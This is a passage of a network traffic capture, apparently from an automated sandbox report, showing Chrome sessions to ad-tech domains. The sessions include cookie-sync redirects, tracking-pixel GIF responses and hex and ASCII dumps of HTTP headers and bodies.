KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; PugT=1714257735; SPugT=1714257740; chkChromeAb67Sec=2; pi=159463:4; DPSync3=1715385600%3A263_262_261_260_259_201%7C1714780800%3A252_265; SyncRTB3=1714780800%3A15_223_2%7C1716768000%3A224%7C1715472000%3A268 [TRUNCATED]
2024-04-27 22:42:30 UTC	583	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:30 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_18=22947-1977432098227636774; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 26-Jul-2024 22:42:30 GMT; path=/ Set-Cookie: PugT=1714257750; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:30 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-27 22:42:30 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
596	192.168.2.4	50512	54.165.249.206	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	901	OUT	GET /ping_match.gif?ei=PUBMATIC&rurl=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:_wfivefivec_&gdpr=0&gdpr_consent= HTTP/1.1 Host: pm.w55c.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfivefivec=o2ksvWLN1S0QKf5; matchmedianet=5
2024-04-27 22:42:32 UTC	773	IN	HTTP/1.1 302 Cache-Control: no-cache, must-revalidate Date: Sat, 27 Apr 2024 22:42:32 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:o2ksvWLN1S0QKf5&gdpr=0&gdpr_consent= Pragma: no-cache Server: PingMatch/v2.0.30-801-g0076fb7#rel-ec2-master i-0787e6748f15a97f9@us-east-1e@dxedge-app-us-east-1-prod-asg Set-Cookie: wfivefivec=o2ksvWLN1S0QKf5; Domain=.w55c.net; Expires=Tue, 27 May 2025 22:42:32 GMT; Path=/; SameSite=None; Secure Set-Cookie: matchpubmatic=5; Domain=.w55c.net; Expires=Mon, 27 May 2024 22:42:32 GMT; Path=/; SameSite=None; Secure Strict-Transport-Security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
597	192.168.2.4	50510	54.146.215.124	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	770	OUT	GET /cookie-sync/pm?gdpr=0&gdpr_consent= HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bito=AAERJ07MWv8AABVaVp3HVQ; bitoIsSecure=ok
2024-04-27 22:42:32 UTC	611	IN	HTTP/1.1 303 See Other Date: Sat, 27 Apr 2024 22:42:32 GMT location: https://bh.contextweb.com/bh/rtset?ev=AAERJ07MWv8AABVaVp3HVQ&do=add&pid=558502&rurl=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26gdpr_consent%3D%26bee_sync_partners%3Dsyn%252Csas%252Cpm%26bee_sync_current_partner%3Dpp%26bee_sync_initiator%3Dpm%26bee_sync_hop_count%3D1&gdpr=0 Server: gunicorn set-cookie: bito=AAERJ07MWv8AABVaVp3HVQ; Domain=bidr.io; expires=Tue, 27 May 2025 18:42:32 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
598	192.168.2.4	50514	54.209.244.95	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	1422	OUT	GET /sync?nid=11&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.srv.stackadapt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sa-user-id=s%3A0-b26851c3-7a83-50e6-56c2-722588816484.x9SNB3r%2Fl%2FzhiubdEca3tCnIjq6SCcsEJw1GniU%2BMAQ; sa-user-id=s%3A0-b26851c3-7a83-50e6-56c2-722588816484.x9SNB3r%2Fl%2FzhiubdEca3tCnIjq6SCcsEJw1GniU%2BMAQ; sa-user-id-v2=s%3AsmhRw3qDUOZWwnIliIFkhJUSGEU.ubAIrXxZZq96ct1Ru%2FavCT0RWCYXbMVWgMg%2BG59%2B0pk; sa-user-id-v2=s%3AsmhRw3qDUOZWwnIliIFkhJUSGEU.ubAIrXxZZq96ct1Ru%2FavCT0RWCYXbMVWgMg%2BG59%2B0pk; sa-user-id-v3=s%3AAQAKIHUfdmZBbmQjXo-ngyq2ysLgm8Y6QRFoXpPFGyuescbhEHwYBCDH_rWxBjABOgT87-jmQgSNirCE.ue1KC3ml%2FBUZY6cFHXjGiDA7DYN0fWDy19F7ts9b5Fs; sa-user-id-v3=s%3AAQAKIHUfdmZBbmQjXo-ngyq2ysLgm8Y6QRFoXpPFGyuescbhEHwYBCDH_rWxBjABOgT87-jmQgSNirCE.ue1KC3ml%2FBUZY6cFHXjGiDA7DYN0fWDy19F7ts9b5Fs
2024-04-27 22:42:32 UTC	304	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Sat, 27 Apr 2024 22:42:32 GMT Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=smhRw3qDUOZWwnIliIFkhJUSGEU&gdpr=0&gdpr_consent= Content-Length: 188 Connection: Close
2024-04-27 22:42:32 UTC	188	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 30 4d 7a 45 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 73 6d 68 52 77 33 71 44 55 4f 5a 57 77 6e 49 6c 69 49 46 6b 68 4a 55 53 47 45 55 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=smhRw3qDUOZWwnIliIFkhJUSGEU&gdpr=0&gdpr_consent=">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
599	192.168.2.4	50513	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	1974	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:o2ksvWLN1S0QKf5&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; PugT=1714257735; SPugT=1714257740; chkChromeAb67Sec=2; pi=159463:4; DPSync3=1715385600%3A263_262_261_260_259_201%7C1714780800%3A252_265; SyncRTB3=1714780800%3A15_223_2%7C1716768000%3A224%7C1715472000%3A268 [TRUNCATED]
2024-04-27 22:42:32 UTC	614	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:32 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_107=1471-uid:o2ksvWLN1S0QKf5&KRTB&23421-uid:o2ksvWLN1S0QKf5; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 26-Jul-2024 22:42:32 GMT; path=/ Set-Cookie: PugT=1714257752; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:32 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-27 22:42:32 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
600	192.168.2.4	50511	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	1042	OUT	GET /pixel?google_nid=beeswaxio&google_sc=&google_hm=QUFFUkowN01XdjhBQUJWYVZwM0hWUQ&gdpr=0&gdpr_consent=&bee_sync_partners=sas%2Csyn%2Cpp%2Cpm&bee_sync_current_partner=adx&bee_sync_initiator=pm&bee_sync_hop_count=1 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:32 UTC	743	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://match.prod.bidr.io/cookie-sync/adx?gdpr=0&gdpr_consent=&bee_sync_partners=sas%2Csyn%2Cpp%2Cpm&bee_sync_current_partner=adx&bee_sync_initiator=pm&bee_sync_hop_count=1 Date: Sat, 27 Apr 2024 22:42:32 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 390 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:32 UTC	390	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 70 72 6f 64 2e 62 69 64 72 2e 69 6f 2f 63 6f 6f 6b 69 65 2d 73 79 6e 63 2f 61 64 78 3f 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 62 65 65 5f 73 79 6e 63 5f 70 61 72 74 6e 65 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://match.prod.bidr.io/cookie-sync/adx?gdpr=0&gdpr_consent=&bee_sync_partne

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
601	192.168.2.4	50520	34.36.216.150	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	688	OUT	GET /dmp/pixelSync?nid=3&gdpr=0&gdpr_consent= HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ssi=14f55726-f4ad-421d-bd2f-9c7bac51541e#1714257737901
2024-04-27 22:42:32 UTC	840	IN	HTTP/1.1 302 Found cache-control: max-age=0,no-cache,no-store pragma: no-cache expires: Tue, 11 Oct 1977 12:34:56 GMT p3p: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml" set-cookie: ssi=14f55726-f4ad-421d-bd2f-9c7bac51541e#1714257737901; Domain=.sitescout.com; Expires=Sun, 27-Apr-2025 22:42:32 GMT; Path=/; Secure; SameSite=None set-cookie: _ssuma=eyI0NSI6MTcxNDI1Nzc1MjI2NX0; Domain=.sitescout.com; Expires=Mon, 27-May-2024 22:42:32 GMT; Path=/; Secure; SameSite=None location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5NjkmdGw9MTI5NjAw&piggybackCookie=14f55726-f4ad-421d-bd2f-9c7bac51541e-662d7f49-5553&gdpr=0&gdpr_consent= Content-Length: 0 date: Sat, 27 Apr 2024 22:42:31 GMT server: A via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
602	192.168.2.4	50517	34.199.195.87	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	655	OUT	GET /api/v1/dsync/Martin?exid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent= HTTP/1.1 Host: crb.kargo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:32 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-cache, no-store, no-transform, must-revalidate, private, max-age=0 Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Set-Cookie: ktcid=81bb1f89-1817-0145-55c6-4f30c353a371; Path=/; Domain=kargo.com; Expires=Sun, 27 Apr 2025 22:42:32 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None Vary: Origin X-Accel-Expires: 0
2024-04-27 22:42:32 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
603	192.168.2.4	50533	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	2321	OUT	GET /setuid?bidder=gumgum&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=b&uid=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2 HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJhZG9iZSI6eyJ1aWQiOiJaaTEtUGdBQXZ3c05yUUFGIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTYuNDkyNTQ3ODAyWiJ9LCJtZWRpYW5ldCI6eyJ1aWQiOiIzNTcyNTkzMjQ5MTA0NTkwMDAwVjEwIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTcuMjU3MDIzMDE2WiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwi [TRUNCATED]
2024-04-27 22:42:32 UTC	42	IN	HTTP/1.1 200 OK content-type: text/html
2024-04-27 22:42:32 UTC	2014	IN	Data Raw: 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 75 69 64 73 3d 65 79 4a 30 5a 57 31 77 56 55 6c 45 63 79 49 36 65 79 4a 68 5a 47 35 34 63 79 49 36 65 79 4a 31 61 57 51 69 4f 69 49 78 4e 44 63 32 4d 44 55 34 4d 7a 6b 32 4f 44 55 77 4d 54 55 34 4d 44 59 78 49 69 77 69 5a 58 68 77 61 58 4a 6c 63 79 49 36 49 6a 49 77 4d 6a 51 74 4d 44 55 74 4d 54 46 55 4d 6a 49 36 4e 44 49 36 4d 54 41 75 4e 7a 63 79 4e 7a 63 35 4e 6a 6b 78 57 69 4a 39 4c 43 4a 68 5a 47 39 69 5a 53 49 36 65 79 4a 31 61 57 51 69 4f 69 4a 61 61 54 45 74 55 47 64 42 51 58 5a 33 63 30 35 79 55 55 46 47 49 69 77 69 5a 58 68 77 61 58 4a 6c 63 79 49 36 49 6a 49 77 4d 6a 51 74 4d 44 55 74 4d 54 46 55 4d 6a 49 36 4e 44 49 36 4d 54 59 75 4e 44 6b 79 4e 54 51 33 4f 44 41 79 57 69 4a 39 4c 43 4a 6e 64 57 31 6e 64 57 Data Ascii: set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJhZG9iZSI6eyJ1aWQiOiJaaTEtUGdBQXZ3c05yUUFGIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTYuNDkyNTQ3ODAyWiJ9LCJndW1ndW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
604	192.168.2.4	50528	104.18.36.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	762	OUT	GET /rum?cm_dsp_id=45&external_user_id=CAESEFVeUHfI19jJNPp1Sf2P_VQ&google_cver=1 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://googleads.g.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=Zi1-RMAoJXEAAC4sAhP6pwAA; CMPS=2852; CMPRO=2852
2024-04-27 22:42:32 UTC	986	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:32 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 87b25387ad4f87a3-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=Zi1-RMAoJXEAAC4sAhP6pwAA; Path=/; Domain=casalemedia.com; Expires=Sun, 27 Apr 2025 22:42:32 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=2852; Path=/; Domain=casalemedia.com; Expires=Fri, 26 Jul 2024 22:42:32 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kMeuz%2BlRJ69d3U3ZmschdoVduQoQDF0Fyzcc3F9R8bFhx57ONEdVlKNYBwNlNJ6R5LzWfUJdWU3rJg8oKkIkwlsUAnpLykZztWt16xVSYO0uxCOrZCuo%2BuR44Tlplynb%2BB%2FHmwMANLHa7g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-27 22:42:32 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
605	192.168.2.4	50516	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
